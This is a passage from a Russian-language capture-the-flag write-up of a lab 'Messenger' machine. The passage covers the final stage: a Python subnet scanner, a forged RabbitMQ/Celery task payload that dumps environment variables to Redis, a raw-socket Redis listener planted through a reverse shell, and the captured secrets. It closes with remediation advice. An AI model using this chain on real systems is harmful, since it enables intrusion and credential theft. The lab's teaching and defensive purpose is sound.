s.settimeout(0.1)
if s.connect_ex((ip, port)) == 0:
print(f'found: {ip}:{port}')
except:
pass

print(f'Сканирую подсеть {base_net}0/24...')
ips = [f'{base_net}{i}' for i in range(1, 255)]

with ThreadPoolExecutor(max_workers=100) as executor:
executor.map(check_ip, ips)
"

Вывод команды такой:

Сканирую подсеть 172.22.2.0/24...
found: 172.22.2.1:15672
found: 172.22.2.6:15672

Этап 7.2. Подготовка полезной нагрузки для RabbitMQ

172.22.2.1 — это Docker-шлюз, который перенаправляет запросы на внутренние контейнеры. Как мы видим, на шлюзе открыт порт 15672, так что, скорее всего, и на http://messenger.standalone.stf будет открыт этот порт. Переходим на http://messenger.standalone.stf:15672 — и тут нас встречает web-UI для RabbitMQ. Вводим найденные в переписке логин и пароль.

Далее видим, что тут есть amq.default — обменник по умолчанию, который автоматически связывается со всеми очередями с routing_key=имя-очереди, поэтому публиковать можно прямо туда, зная только название очереди. Загуглив, узнаем, как выглядит запрос для того, чтобы отправить новую задачу в Celery.

Название: amq - описание: RabbitMQ webUI
RabbitMQ web-UI

Пейлоад выглядит так:

{
   "properties": {
 "content_type": "application/json",
 "content_encoding": "utf-8",
 "delivery_mode": 2,
 "headers": {
   "task": "app.tasks.send_environment_variables_to_chat",
   "id": "seveneleven1337"
 }
   },
   "routing_key": "celery",
   "payload": "[[2, 6], {}, {\"callbacks\": null, \"errbacks\": null, \"chain\": null, \"chord\": null}]",
   "payload_encoding": "string"
 }

Тут мы просим выполнить ту самую Celery-задачу, которая собирает переменные окружения и отправляет их в Redis в канал 6.

[[2, 6], {}, {\"callbacks\": null, \"errbacks\": null, \"chain\": null, \"chord\": null}]

[2, 6] — это позиционные аргументы; нужен именно такой порядок, так как мы ориентируемся по сигнатуре функции send_environment_variables_to_chat, которая сперва принимает sender_id и потом chat_id. Остальные поля стандартные, их не нужно менять и можно оставить пустыми.

Этап 7.3. Поиск Redis. Написание прослушивателя для Redis

Перед тем как мы отправим этот таск в RabbitMQ, нам нужно непосредственно подписаться в Redis на 6-й канал (я выбрал 6, просто потому что сперва подумал, что нужно будет открыть чат с Екатериной, но понял, что можно и в Redis увидеть сообщение). Но так как доступ к Redis имеется только внутри Docker-сети, нам нужно сперва найти хост, на котором поднят 6379-й порт, поэтому используем повторно тот же скрипт для скана сети, только заменив переменную port на 6379:

Сканирую подсеть 172.22.2.0/24 на порт 6379...
redis: 172.22.2.5:6379

Наш Redis находится на 172.22.2.5. Необходим прослушиватель, который нужно разместить на messenger.standalone.stf, используя ранее полученный реверс-шелл:

cat <<'EOF' > /tmp/meow/listen.py
import socket

redis_ip = "172.22.2.5"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(20.0)

try:
    s.connect((redis_ip, 6379))
    payload = b"*2\r\n$9\r\nSUBSCRIBE\r\n$1\r\n6\r\n"
    s.sendall(payload)
    print(f"connection to redis {redis_ip}. listen 6...")

    while True:
        data = s.recv(65536)
        if data:
            print("\n1111")
            print(data.decode('utf-8', errors='ignore'))
            print("2222\n")
except Exception as e:
    print(f"\n[!] err: {e}")
finally:
    s.close()
EOF

Стоит отметить, что это не единственно верный метод. Это просто одна из имплементаций взаимодействия с Redis на «голых» сокетах. Я выбрал этот способ, потому что на сервере не оказалось необходимых инструментов, чтобы взаимодействовать через функции, а не отправку байтов: ни redis-cli (официальный инструмент командной строки для Redis), ни Python-библиотек.

Этап 7.4. Финал реализации бизнес-риска

Теперь запускаем скрипт python3 /tmp/meow/listen.py, и пока он работает, отправляем такой запрос:

wget -qO- --method=POST \
 --user=rabbitTest \
 --password=26aff89e-833e-4943-aff8-9e833ee943b3 \
 --header="Content-Type: application/json" \
 --body-file=payload.json \
 http://messenger.standalone.stf:15672/api/exchanges/tasks/amq.default/publish

Мы используем API RabbitMQ, чтобы отправить пейлоад, и он успешно опубликовался. Теперь смотрим в терминал с прослушивателем и видим новое сообщение!

python3 listen.py
[*] connection to redis 172.22.2.5. listen 6...

{"type":"message","status":"new","message":"PATH=/app/venv/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nHOSTNAME=c
20232453526\nCELERY_RESULT_BACKEND=redis://cache-broker:6379/1\nSYNC_RABBITMQ_EXCHANGE=messenger\nSYNC_BULK_SIZE=1\nSYNC_RABBITMQ_QUEUE_NAME=messenger
\nBROADCAST_TYPE=redis\nREFRESH_TOKEN_EXPIRE_DAYS=30\nJWT_SECRET_KEY=MePlzIp94rhncY2zKRi12G2kzaYisaTLoAktP2FCmyWOcMhWJ3\nBROADCAST_REDIS_MAX_CONNECTIO
NS=10\nREDIS_CACHE_MAX_CONNECTIONS=10\nSYNC_STORAGES=database\nMESSAGE_STORAGE_TYPE=rabbitmq\nDATABASE_MAX_CONNECTIONS=10\nSYNC_RABBITMQ_ROUTING_KEY=m
essenger\nACCESS_TOKEN_EXPIRE_MINUTES=5\nREDIS_CACHE_URL=redis://cache-broker:6379/0\n**FLAG=2cd1c661-b92f-44c8-9fc4-4bc94345016c**\nCELERY_BROKER_URL=amq
p://rabbitTest:26aff89e-833e-4943-aff8-9e833ee943b3@rmq:5672/tasks\nSYNC_RABBITMQ_MAX_CONNECTIONS=10\nBROADCAST_REDIS_URL=redis://cache-broker:6379/0\
nGPG_KEY=7169605F62C751356D054A26A821E680E5FA6305\nPYTHON_VERSION=3.13.13\nPYTHON_SHA256=2ab91ff401783ccca64f75d10c882e957bdfd60e2bf5a72f8421793729b78
a71\nPYTHONOPTIMIZE=1\nPYTHONFAULTHANDLER=1\nPYTHONUNBUFFERED=1\nHOME=/app\nLC_CTYPE=C.UTF-8\n_MP_FORK_LOGLEVEL_=20\n_MP_FORK_LOGFILE_=\n_MP_FORK_LOGF
ORMAT_=[%(asctime)s: %(levelname)s/%(processName)s] %(message)s\nCELERY_LOG_LEVEL=20\nCELERY_LOG_FILE=\nCELERY_LOG_REDIRECT=1\nCELERY_LOG_REDIRECT_LEV
EL=WARNING","recipientId":6,"senderId":2,"createdAt":1784655044108}

2222
Название: send - описание: отправляем пейлоад
Отправляем пейлоад
Ловим флаг
Ловим флаг

И в этой каше можно увидеть переменную окружения FLAG=тут-флаг-я-изменил ;)

Таким образом реализуется последний и самый трудный бизнес-риск на этой машине, который потребовал от нас знаний о технологиях очередей сообщений, а также успешной эксплуатации цепочки уязвимостей, начиная от SSTI и RCE и заканчивая чтением чужой переписки.

Итоги и рекомендации

Резюмируя, хочется отметить, что Messenger — достаточно хороший пример машины, где компрометация завязана на множестве мелких недочетов: публично доступный инстанс Gitness, уязвимый sudo, про который, по легенде, разработчики знали, но не исправили вовремя, и старый коммит, где утек refresh-токен от dev-среды, который по необъяснимой причине работает и на продакшене.

Полностью скомпрометировать машину не удалось бы, если бы хоть один из шагов не работал: без LPE нет доступа к Gitness, без Gitness нет доступа к переписке, без доступа к переписке нет валидной учетки от RabbitMQ, ну а без того же самого Gitness мы бы и не знали, как выглядит задача в Celery.

В завершение хочется дать рекомендации по исправлению.

  1. Не стоит выставлять публично сервисы, которые не задуманы для того, чтобы ими мог пользоваться кто угодно. Обычному пользователю мессенджера никакой пользы нет от Gitness или RabbitMQ, а злоумышленник может ими воспользоваться.

  2. Обновлять уязвимые версии ПО. Не стоит лишний раз давать злоумышленнику шанс на успешную эксплуатацию через CVE. По легенде, разработчики были в курсе, что их сервер уязвим к CVE-2025-32463, но, так как это не влияло на функциональность приложения, они не спешили это исправлять.

  3. Не публиковать важные данные в Git-репозиториях. Желательно все секреты хранить в специализированных сервисах, например HashiCorp Vault. Если файл .env утек в сеть, нужно срочно сменить все секреты, отозвать токены и поменять пароли — особенно если утечка была в публичном репозитории (на Github, к примеру): откат коммита вряд ли поможет, так как существует множество ботов-скрейперов, которые постоянно проверяют все репозитории на наличие .env или таких строк, как REFRESH_TOKEN, и сохраняют значения раньше, чем коммит успеют удалить.

  4. Не оставлять тестовую функциональность в продакшен-среде. Не совсем понятно назначение функции send_environment_variables_to_chat() — она выглядит как тестовая или отладочная, и оставлять ее на проде опасно, учитывая, что в переменных среды находятся ключи шифрования приложения.

  5. Исправить SSTI-уязвимости. Суть в том, что шаблон строится динамически, и в него попадает необработанный пользовательский ввод: он становится частью шаблона, и лишь после этого происходит рендер, — это и приводит к SSTI, а затем к RCE. Желательно вынести сам шаблон в отдельный файл или переменную, чтобы он не собирался заново на каждый запрос, а компилировался один раз, а безопасные данные подставлялись через render().

Комментарии (0)